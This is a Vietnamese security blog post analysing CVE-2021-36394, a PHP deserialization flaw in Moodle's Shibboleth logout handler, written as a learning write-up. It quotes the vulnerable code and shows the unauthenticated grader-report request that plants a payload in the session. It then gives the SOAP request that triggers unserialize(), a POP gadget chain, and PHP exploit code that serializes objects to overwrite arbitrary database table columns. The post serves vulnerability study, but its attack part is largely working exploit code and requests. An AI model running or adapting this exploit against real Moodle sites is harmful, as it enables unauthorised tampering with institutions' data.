This page looks best with JavaScript enabled

Khi newbie học PHP deserialize

 ·  ☕ 18 min read  ·  🐉 Edisc

CVE 2021-36394 - moodle

Long time no see!

Đợt này tôi có cơ hội làm việc, nghiên cứu về các CVE liên quan đến PHP. Một trong những lỗi tôi làm đầu tiên liên quan đến PHP-deserialize.
Đây là một mảng kiến thức mới mà tôi được tiếp cận. Phương pháp ở đây là tôi sẽ tìm hiểu các kiến thức liên quan đến PHP-deserialize, làm một vài ví dụ, tìm hiểu các hàm hay bị lỗi! Sau đó, ta bắt đầu vào CVE của mình.

Kiến thức cơ bản của PHP deserialize có thể dễ dàng tìm kiếm trên Payload All Things.

Sau đó, tôi tình cờ thấy blog viết về cách khai thác PHP deserialize về moodle! Lỗ hổng này đã có bài viết, POC, các tài liệu liên quan… Đây là một CVE lí tưởng để tôi bắt đầu học!

Bài này, tôi sẽ trình bày lại theo cách hiểu của tôi.


Ngữ cảnh

  • Moodle bật shibboleth plugin
  • Version bị lỗi: 3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions

Chi tiết lỗ hổng

Nhận diện lỗ hổng

  • Đọc bài blog, ta biết được sink nằm ở đường dẫn auth/shibboleth/classes/helper.php, cụ thể ở hàm logout_file_session
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static function logout_file_session($spsessionid) {
        global $CFG;

        if (!empty($CFG->session_file_save_path)) {
            $dir = $CFG->session_file_save_path;
        } else {
            $dir = $CFG->dataroot . '/sessions';
        }

        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                // Read all session files.
                while (($file = readdir($dh)) !== false) {
                    // Check if it is a file.
                    if (is_file($dir.'/'.$file)) {
                        // Read session file data.
                        $data = file($dir.'/'.$file);
                        if (isset($data[0])) {
                            $usersession = self::unserializesession($data[0]);
                            // Check if we have found session that shall be deleted.
                            if (isset($usersession['SESSION']) && isset($usersession['SESSION']->shibboleth_session_id)) {
                                // If there is a match, delete file.
                                if ($usersession['SESSION']->shibboleth_session_id == $spsessionid) {
                                    // Delete session file.
                                    if (!unlink($dir.'/'.$file)) {
                                        return new SoapFault('LogoutError', 'Could not delete Moodle session file.');
                                    }
                                }
                            }
                        }
                    }
                }
                closedir($dh);
            }
        }
    }

Question: Nếu ngữ cảnh 1day thì sao? làm sao biết được endpoint này?

Ans:

  1. Trên trang thông báo của Moodle có thông báo về lỗ hổng

Moodle.org: MSA-21-0022: Remote code execution risk when Shibboleth authentication is enabled

  1. Từ trang này dẫn tới repo github của moodle khi commit để fix code

    Official Moodle git projects - moodle.git/search

  2. Sử dụng tính năng commit diff sẽ thấy hàm bị lỗi nằm ở /[auth/shibboleth/classes/helper.php](https://git.moodle.org/gw?p=moodle.git;a=blob;f=auth/shibboleth/classes> /helper.php;h=0e99d199957509a35d259704d3ee08e313aed510;hb=5bc561ee7ad31b769815821280f8a3f5bd69c31b)

    Untitled

  • Hàm này sẽ thực hiện các bước sau

    1. Lấy địa chỉ thư mục lưu các session, đường dẫn là $CFG->dataroot/sessions/

      1
      2
      3
      4
      5
      
              if (!empty($CFG->session_file_save_path)) {
                  $dir = $CFG->session_file_save_path;
              } else {
                  $dir = $CFG->dataroot . '/sessions';
              }
      
    2. Đọc nội dung file trong thư mục trên và thực hiện hàm self::unserializesession trên từng nội dung

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    
     if (is_dir($dir)) {
                if ($dh = opendir($dir)) {
                    // Read all session files.
                    while (($file = readdir($dh)) !== false) {
                        // Check if it is a file.
                        if (is_file($dir.'/'.$file)) {
                            // Read session file data.
                            $data = file($dir.'/'.$file);
                            if (isset($data[0])) {
                                $usersession = self::unserializesession($data[0]);
                                // Check if we have found session that shall be deleted.
                                if (isset($usersession['SESSION']) && isset($usersession['SESSION']->shibboleth_session_id)) {
                                    // If there is a match, delete file.
                                    if ($usersession['SESSION']->shibboleth_session_id == $spsessionid) {
                                        // Delete session file.
                                        if (!unlink($dir.'/'.$file)) {
                                            return new SoapFault('LogoutError', 'Could not delete Moodle session file.');
                                        }
                                    }
                                }
                            }
                        }
                    }
                    closedir($dh);
                }
            }
    
    • Dòng 8: Chương trình sẽ đọc từng file, lưu giá trị vào biến $data .

    • Dòng 10 chương trình thực hiện lệnh self::unserializesession()

    • Hàm unserializesession($serializedstring)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      
      private static function unserializesession($serializedstring) {
              $variables = array();
              $a = preg_split("/(\w+)\|/", $serializedstring, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
              $counta = count($a);
              for ($i = 0; $i < $counta; $i = $i + 2) {
                  $variables[$a[$i]] = unserialize($a[$i + 1]);
              }
              return $variables;
          }
      
      • Dòng 3, chuỗi $serializedstring sẽ bị split bởi pattern /(\w+)\|/ để tạo thành 1 mảng các phần tử con.

      • Ví dụ:

        1
        2
        
        $serializedstring = 'Hello|world';
        ==> a = ['Hello', 'world']
        
      • Dòng 4—>7: Từng phần tử của mảng $a truyền vào hàm unserialize().

    Kết luận:

    1. Mỗi lần người dùng truy cập vào moodle, session đều được lưu lại ở folder $CFG->dataroot/sessions/
    2. Khi thực hiện hàm logout_file_session(), chương trình đọc lần lượt các file chứa session.
      1. Mỗi session sẽ được split thành mảng các phần tử với delimiter là |
      2. Từng phần tử sẽ là tham số truyền vào hàm unserialize()

    Nếu attacker có thể ghi được xuống session thì có thể control được tham số truyền vào unserialize() ⇒ dấu hiệu của lỗi php deserialization

php deserialization

  • Để khai thác lỗ hổng php deserialization cần 2 bước chính
    1. Control được tham số truyền vào hàm unserialize()
    2. Xác định kĩ thuật khai thác, với PHP deserialization kĩ thuật khai thác Property Oriented Programming (POP) thường được sử dụng để khai thác.

Khai thác lỗ hổng

I. control tham số truyền vào hàm unserialize()

Ở phần trước chúng ta đã biết hàm unserialize() sẽ lấy tham số có giá trị từ sesion và session này được đọc lên từ file. Do đó, một hướng để control được input vào hàm unserialize() là tìm cách ghi xuống sesion.

  • Để tìm cách ghi xuống session, trong source code, ta sẽ tìm đến nơi thỏa 2 điều kiện:

    1. Biến $SESSION được gán giá trị. Thường sẽ có dạng

      1
      
      $SESSION->field1= var1;
      
    2. Giá trị được gán vào $SESSION được control bởi user, ở đây là var1. Trong PHP, biến được người dùng truyền vào sẽ được thưc thi bởi hàm optional_param() hoặc required_param().

  • Tôi dùng công cụ grepcomm của ubuntu để giải quyết vấn đề này, cụ thể

    1
    2
    3
    
    grep -HnrE '\$SESSION->' /var/www/html/moodle/ | awk -F ':' '{print $1}' | sort -u > file1.txt
    grep -HnrE 'optional_param\(|required_param\(' /var/www/html/moodle/ | awk -F ':' '{print $1}' | sort -u > file2.txt
    comm -12 file1.txt file2.txt  > file3.txt
    

    Ý nghĩa của từng câu lệnh thì chỉ là kiến thức cơ bản của linux, google 1 tí là ra 🙂.

    Nôm na là tôi tìm các tệp có chứa chuỗi thuộc 2 pattern trên rồi lọc ra các tệp cùng nằm trong 2 file1, file2. Bước này khá rườm ra vì grep không hỗ trợ toán tử AND 2 pattern mà chỉ OR thôi.

  • Sau khi có file3.txt thì manual vào từng file mà tìm xem có endpoint nào hay không thôi. (Đây là cách của tác giả, cũng là nơi mà chúng ta có thể cải thiện phương pháp hoặc nghiên cứu tìm phương pháp hiệu quả hơn)

  • Tiến hành đọc, ta tìm được 1 endpoint ở grade/report/grader/index.php, cụ thể:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    $graderreportsifirst  = optional_param('sifirst', null, PARAM_NOTAGS);
    $graderreportsilast   = optional_param('silast', null, PARAM_NOTAGS);
    
    // The report object is recreated each time, save search information to SESSION object for future use.
    if (isset($graderreportsifirst)) {
        $SESSION->gradereport['filterfirstname'] = $graderreportsifirst;
    }
    if (isset($graderreportsilast)) {
        $SESSION->gradereport['filtersurname'] = $graderreportsilast;
    }
    
    • Dòng 6, 9: Giá trị biến $graderreportsifirst$graderreportsilast được lưu vào session.
    • Dòng 1,2: Giá trị biến $graderreportsifirst$graderreportsilast được truyền bởi người dùng với 2 param lần lượt sifirstsilast.
    • ⇒ Chúng ta chỉ cần truyền 1 trong 2 param là đủ.
    • Endpoint này unauthenticated
  • Đọc thêm code, dễ dàng biết được format truyền vào

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    GET /moodle/grade/report/grader/index.php?id=1&sifirst=xxxx|EDISC-here-PAYLOAD|yyyyyyy HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: MoodleSession=4ganll3d78sv5gjlcqqhd1lue0
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    
  • Tiến hành chạy và debug, ta xác định được

    • địa chỉ lưu session là /var/www/moodledata/sessions
    • Để dễ debug, ta vào thư mục trên, xóa hết các session đang có và thực hiện request để lưu session

    Untitled

    • Đã viết session thành công, kiểm tra giá trị truyền vào hàm unserialize()
    • Tiến hành debug để kiểm tra xem giá trị có thực sự được đưa vào hàm unserialize() không. Bây giờ, câu chuyện là làm sao để tìm được source để reach tới được sink unserialize()

II. Từ source tới sink

Ở phần 1 ta đã ghi đè xuống session với giá trị bất kì. Đọc code ta biết được giá trị của mình truyền vào sẽ được truyền vào hàm unserialize()

Trong phần này ta sẽ tìm source để dẫn tới sink unserialize() để chạy debug, kiểm tra giá trị truyền vào có đúng như dự đoán không và đây cũng là nơi trigger payload exploit.

  1. Sử dụng tính năng Go to references trên vscode, ta dễ dàng tìm được endpoint tại hàm LogoutNotification() tại auth/shibboleth/logout.php

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    function LogoutNotification($spsessionid) {
        $sessionclass = \core\session\manager::get_handler_class();
        switch ($sessionclass) {
            case '\core\session\file':
                return \auth_shibboleth\helper::logout_file_session($spsessionid);
            case '\core\session\database':
                return \auth_shibboleth\helper::logout_db_session($spsessionid);
            default:
                throw new moodle_exception("Shibboleth logout not implemented for '$sessionclass'");
        }
        // If no SoapFault was thrown, the function will return OK as the SP assumes.
    }
    
    • Endpoint auth/shibboleth/logout.php có luồng thực thi như sau:

      • Chương trình lấy 2 tham số actionreturn từ url và xác định protocol được sử dụng

        1
        2
        3
        4
        5
        6
        7
        8
        
        $action = optional_param('action', '', PARAM_ALPHA);
        $redirect = optional_param('return', '', PARAM_URL);
        
        // Find out whether host supports https
        $protocol = 'http://';
        if (is_https()) {
            $protocol = 'https://';
        }
        
      • Kiểm tra xem plugin shibboleth có được bật không. (Do đó, ở phần setup môi trường, chúng ta phải bật plugin này lên mới reproduce được)

        1
        2
        3
        4
        
        // If the shibboleth plugin is not enable, throw an exception.
        if (!is_enabled_auth('shibboleth')) {
            throw new moodle_exception(get_string('pluginnotenabled', 'auth', 'shibboleth'));
        }
        
      • Lấy giá trị truyền vào $inputstream và kiểm tra câu lệnh rẽ nhánh.

         1
         2
         3
         4
         5
         6
         7
         8
         9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        
        // Front channel logout.
        $inputstream = file_get_contents("php://input");
        
        if ($action == 'logout' && !empty($redirect)) {
        
            if (isloggedin($USER) && $USER->auth == 'shibboleth') {
                // Logout user from application.
                require_logout();
            }
        
            // Finally, send user to the return URL.
            redirect($redirect);
        
        } else if (!empty($inputstream)) {
        
            // Back channel logout.
            // Set SOAP header.
            $server = new SoapServer($protocol.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'/LogoutNotification.wsdl');
            $server->addFunction("LogoutNotification");
            $server->handle();
        
        } else {
        
            // Return WSDL.
        
      • Vì mục tiêu của chúng ta nằm ở nhánh thứ 2 để gọi hàm LogoutNotification nên chúng ta truyền vào action=logout$redirect=null (tức là không cần truyền vào). Mọi thứ so easy, nhưng với 1 newbiee PHP như tôi thì SoapServer ở dòng 18 cũng như hàm nhập ở dòng 2 khá lạ lẫm. Do đó trước khi tiếp tục tôi phải đi tìm hiểu SoapServer là gì và truyền giá trị vào $inputstream là gì mới hợp lệ.

      1
      2
      
      // Front channel logout.
      $inputstream = file_get_contents("php://input");
      
      • Nếu ngày xưa chúng ta có câu: “cái gì không biết thì tra google” thì ngày nay trước khi tra google chúng ta có thể đi hỏi anh bạn chatgpt rồi sau đó google để kiểm chứng hiểu rõ hơn

      chapgpt

      file_get_contents("php://input") là một hàm trong PHP để đọc dữ liệu từ body của HTTP request. Khi bạn gửi một HTTP request từ một client (ví dụ như trình duyệt web) tới một server, nội dung của request được đưa vào body của request.

      Trong PHP, "php://input" là một stream wrapper, cho phép đọc dữ liệu từ body của request bằng cách đọc dữ liệu từ một input stream.

      Do đó, khi sử dụng file_get_contents("php://input"), bạn đang yêu cầu PHP đọc dữ liệu từ body của request và trả về dữ liệu dưới dạng một chuỗi (string). Bạn có thể sử dụng kết quả này để xử lý dữ liệu của request trong ứng dụng PHP của mình.

      • Dễ hiểu đây là cách để đọc giá trị thôi, vào để truyền bằng RESTAPI thì ta cần dùng POST method
      • Còn với soap thì tôi đọc trên w3schools: https://www.w3schools.com/xml/xml_soap.asp
      • Về cơ bản, XML SOAP (Simple Object Access Protocol) là một chuẩn giao thức được sử dụng để trao đổi dữ liệu giữa các ứng dụng phần mềm khác nhau. Nó sử dụng ngôn ngữ XML để mã hóa dữ liệu và các thông điệp truyền tải giữa các hệ thống khác nhau thông qua giao thức HTTP hoặc các giao thức khác.
      • Đọc hiểu 1 tí, ta có thể xác định được payload truyền vào là
      1
      2
      3
      4
      5
      6
      
      <?xml version="1.0" encoding="UTF-8"?>
      <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
        <LogoutNotification>
          <spsessionid>sssssu</spsessionid>
        </LogoutNotification>
      </SOAP-ENV:Body></SOAP-ENV:Envelope>
      

      Trong đó, <LogoutNotification> là request chúng ta muốn gọi và <spsessionid> là tham số của function này

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      
      /******************************************************************************/
      
      /**
       * Handles SOAP Back-channel logout notification
       *
       * @param string $spsessionid SP-provided Shibboleth Session ID
       * @return SoapFault or void if everything was fine
       */
      function LogoutNotification($spsessionid) {
          $sessionclass = \core\session\manager::get_handler_class();
          switch ($sessionclass) {
              case '\core\session\file':
                  return \auth_shibboleth\helper::logout_file_session($spsessionid);
              case '\core\session\database':
                  return \auth_shibboleth\helper::logout_db_session($spsessionid);
              default:
                  throw new moodle_exception("Shibboleth logout not implemented for '$sessionclass'");
          }
          // If no SoapFault was thrown, the function will return OK as the SP assumes.
      }
      
  2. Truyền payload và kiểm tra input của hàm unserialize()

    Như vậy, để control input vào hàm unserialize() chúng ta cần 2 payload

    • payload1: method GET, mục tiêu viết payload xuống session
    • payload2: method POST, mục tiêu trigger payload qua hàm unserialize()

Untitled

Như vậy, trong phần này chúng ta đã thành công trong việc control input vào hàm unserialize(), bước tiếp theo tiến hành xây dựng payload khai thác.

III. Khai thác bằng kỹ thuật POP

Mục tiêu của kỹ thuật này mình sẽ tạo một gadget chains để exploit

gadget chains là một dãy gồm các phương thức có khả năng gọi lẫn nhau. Các phương thức này có thể cùng hoặc khác lớp. Tùy thuộc vào mã nguồn mà các chuỗi phương thức có thể gây ra sự ảnh hưởng đối với ứng dụng ít hoặc nhiều.

Ta sẽ chia ra làm 2 phần: First LinkNext Link trong đó first link là class ta truyền vào hàm unserialize() với mục tiêu sẽ trigger các magic method như __destruct() để gọi chuỗi class khác (Next Link)

Khi ứng dụng mắc lỗi PHP deserialize, kẻ tấn công có thể thêm bất kì đối tượng nào vào thời gian thực thi thực của chương trình, qua đó làm thay đổi tính logic và các luồng thực thi trong ứng dụng thông qua các cách sau:

  • Chèn các đối tượng của các lớp có định nghĩa các phương thức tự động (magic method) chắc chắn sẽ được gọi sau khi chương trình kết thúc như __destruct() hay __wakeup() khi đối tượng được tạo ra thông qua hàm unserialize(). Khi đó, chương trình sẽ có thể gọi hàng loạt các hàm khác tùy thuộc vào các lệnh trong những phương thức này.

    Ngoài các magic method thông dụng như __destruct() __wakeup() thì còn có một số magic method khác được sử dụng như:

    1
    2
    3
    4
    
    __toString()
    __call()
    __set()
    __get(
    
  • Chèn các đối tượng được mã nguồn thực thi một phương thức nào đó. Tương tự như trên, hàng loạt các phương thức khác sẽ được gọi và có thể dẫn tới thay đổi luồng hoạt động của chương trình.

  • Trong mã nguồn logout_file_session không có thao thác ngầm ép kiểu để gọi tới __toString()

  • Ta tìm __destruct() trong source code, tại các folder */classes/*

  • question: Tại sao chỉ tìm trong các folder */classes/*?

    Để kiểm chứng, ta sẽ thử truyền class có method __destruct() khác với các class nằm trong các folder */classes/* để xem thử có trigger không! Tôi đã làm và kết quả là không trigger 😄

    Bây giờ cũng làm tương tự bước trên, nhưng ta sẽ sửa mã nguồn 1 tí: tại nơi trigger hàm unserialize() ta thêm dòng lệnh

    1
    
    include_once('/var/www/html/moodle/backup/cc/cc_lib/xmlbase.php')
    

    Vâng! nó trigger được! Sau đó, tôi đi tìm hiểu kĩ thì có kết luận như sau:

    • Mặc định 1 class chỉ có thể gọi những class nằm trong cùng thư mục hoặc cùng namespace.
    • Mặc định của Moodle, mọi class đều có thể gọi được các class nằm ở folder có dạng ***/classes/***
    • Chúng ta có thể gọi tới 1 class bất kì không nằm trong ***/classes/*** khi class đó được import vào đoạn code (thông qua hàm require_once() hoặc include_once()
  • Sau khi đọc code 3 hàm này thì link duy nhất \core\lock\lock() có khả năng ứng cử vì sử dụng ép kiểu string thông qua cộng chuỗi.

Untitled

  • Tới đây chỉ cần $this->caller trỏ tới Next Link, mình có thể gọi 1 class khác chứa chain __toString()
  • search __toString() trên toàn bộ source code.

Untitled

Với 136 kết quả sẽ làm đa dạng hoá gadget chain.

Mục đích của cái search này theo mình là chỉ cho thấy là có nhiều gadget chain để exploit thôi chứ cũng có gì :)))

Tác giả dựa trên 1 gadget chain của 1 bài blog Moodle – Remote Code Execution để modify lại. Do đó, để hiểu được payload tôi cần phải tìm hiểu blog trên. Một số nhận xét sau khi đọc blog như sau:

  • Chain này sử dụng __toString() của attribute_format với hiện thực như sau:

    1
    2
    3
    
    public function __toString() {
        return $this->determine_format()->html();
    }
    
    • Tôi tìm kiếm trên toàn bộ source code thì thấy hàm này nằm ở moodle/grade/report/singleview/classes/local/ui/attribute_format.php

    Untitled

  • __toString() được gọi khi chương trình thực hiện 1 phép nối chuỗi với biến có giá trị không phải chuỗi. Chương trình sẽ gọi __toString() để kiểm tra kiểu và convert sang chuỗi

    1
    2
    3
    4
    5
    6
    
    function block_course_overview_update_myorder($sortorder) {
        // $sortorder is our unserialized payload.
        $value = implode(',', $sortorder);
        ...
        set_user_preference('course_overview_course_sortorder', $value);
    }
    
  • Ngữ cảnh này giống với ngữ cảnh của chúng ta khi Firstlink __destruct() tại \core\lock\lock() cũng thực hiện nối chuỗi với this→caller (Giá trị this->caller được kiểm soát bởi chúng ta)

Untitled

  • Follow của _toString() như sau:

    1
    2
    3
    4
    5
    6
    7
    
    __toString()
    └── determine_format()
        └── is_disabled()
            ├── is_overridable_item()
            └── set_calculation()
                ├── get_record_data()
                └── update()
    

    Mục tiêu sẽ truyền vào giá trị vào hàm update() để thay cập nhật giá trị dưới DB.

  • Chain này mục đích là thay đổi dữ liệu ở dưới db. Trong bài này, mục tiêu ta sẽ sửa đổi tên nội dung khóa học ở 2 class \grade_grade\grade_item Tuy nhiên, __toString() của attribute_format không gọi được vì 2 class \grade_grade\grade_item nằm ngoài folder */classes/*. Do đó, để gọi được, chúng ta cần phải gọi class khác chưa hàm include class trên.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    /lib/grade/grade_grade.php 
              ^
    					|
    /lib/gradelib.php 
              ^
    					|
    /analytics/classes/course.php 
              ^
    					|
     \core_analytics\course
    

    -> Gọi class \core_analytics\course sẽ include file /lib/grade/grade_grade.php, sau đó có thể gọi được class \grade_grade

    Tương tự với grade_item

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    /lib/grade/grade_item.php 
              ^
    					|
    /lib/gradelib.php 
              ^
    					|
    /analytics/classes/course.php
              ^
    					|
    \core_analytics\course
    

    -> Gọi class \core_analytics\course sẽ include file /lib/grade/grade_item.php, sau đó có thể gọi được class \grade_item

Viết exploit

  • yeah, mọi thứ đã clear rồi. Bây giờ thì viết exploit
  1. Inject payload

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    function httpGet($url, $MoodleSession)
        {
            $curl = curl_init($url);
            $headers = array('Cookie: MoodleSession='.$MoodleSession);
            curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
    

    với lời gọi hàm như sau:

    1
    
    httpGet($url.'/grade/report/grader/index.php?id=1&sifirst=Testaaaaa|'.$value."Testbbbbbb|", $MoodleSession);
    

    Trong đó, $value là payload đã được serialize

  2. Trigger payload

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    function httpPost($url, $data, $MoodleSession, $xml)
        {
            $curl = curl_init($url);
            $headers = array('Cookie: MoodleSession='.$MoodleSession);
            if($xml){
                array_push($headers, 'Content-Type: application/xml');
            }else{
                $data =  urldecode(http_build_query($data));
            }
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //proxy
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
    

    Với lời gọi hàm như sau:

    1
    2
    3
    4
    5
    
    echo "\n [*] Trigger Payload ";
            $data = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>
        <LogoutNotification><SessionID>ssss</SessionID>
        </LogoutNotification></s:Body></s:Envelope>';
            httpPost($url.'/auth/shibboleth/logout.php', $data, $MoodleSession, 1);
    

    Yeah, Inject payload và trigger payload khá đơn giản. Câu chuyện là payload chúng ta inject như thế nào

  3. Xây dựng payload $value

    1. Như đã trình bày ở trên, khi hàm unserialize() chạy payload của chúng ta, mục tiêu nó sẽ trigger FirsLink ở \core\lock\lock(), Để làm được điều đó, ta xây dựng như sau:

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      
      namespace core\lock {
          class lock {}
      
      }
      
      function update_table($url, $MoodleSession, $table, $rowId, $column, $value){
      $add_lib = new \core_analytics\course();
      
      $lib_fb = new \core\lock\lock();
      
      $base = new gradereport_overview_external();
      $fb = new gradereport_singleview\local\ui\feedback();
      $fb -> grade = new grade_grade();
      $fb -> grade -> grade_item = new grade_item();
      $fb -> grade -> grade_item -> calculation = "[[somestring";
      $fb -> grade -> grade_item -> calculation_normalized = false;
      $fb -> grade -> grade_item -> table = $table;
      $fb -> grade -> grade_item -> id = $rowId;
      $fb -> grade -> grade_item -> $column = $value;
      $fb -> grade -> grade_item -> required_fields = array($column,'id');
      
      $lib_fb -> caller = $fb; // set caller to gradereport_singleview\local\ui\feedback()
      $arr = array($add_lib, $lib_fb,$base);
      
      }
      
      $value = serialize($arr);
      
      • Tạo ra 1 $lib_fb là class \core\lock\lock()
      • Tạo class $fbgradereport_singleview\local\ui\feedback() cùng các giá trị tương ứng rồi gán vào $lib_fb -> caller để hàm _destruct() thực thi sẽ đi vào __toString() của feedback
      • Trong đoạn code trên, $add_lib được tạo để include thư viện, hỗ trợ gọi 2 class \grade_grade\grade_item
      • Trong exploit còn có $base nhưng tôi thấy với mục tiêu exploit thay đổi course name thì không cần thiết, lib này sẽ phục vụ mục tiêu khác của tác giả cho những mục đích exploit khác
Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page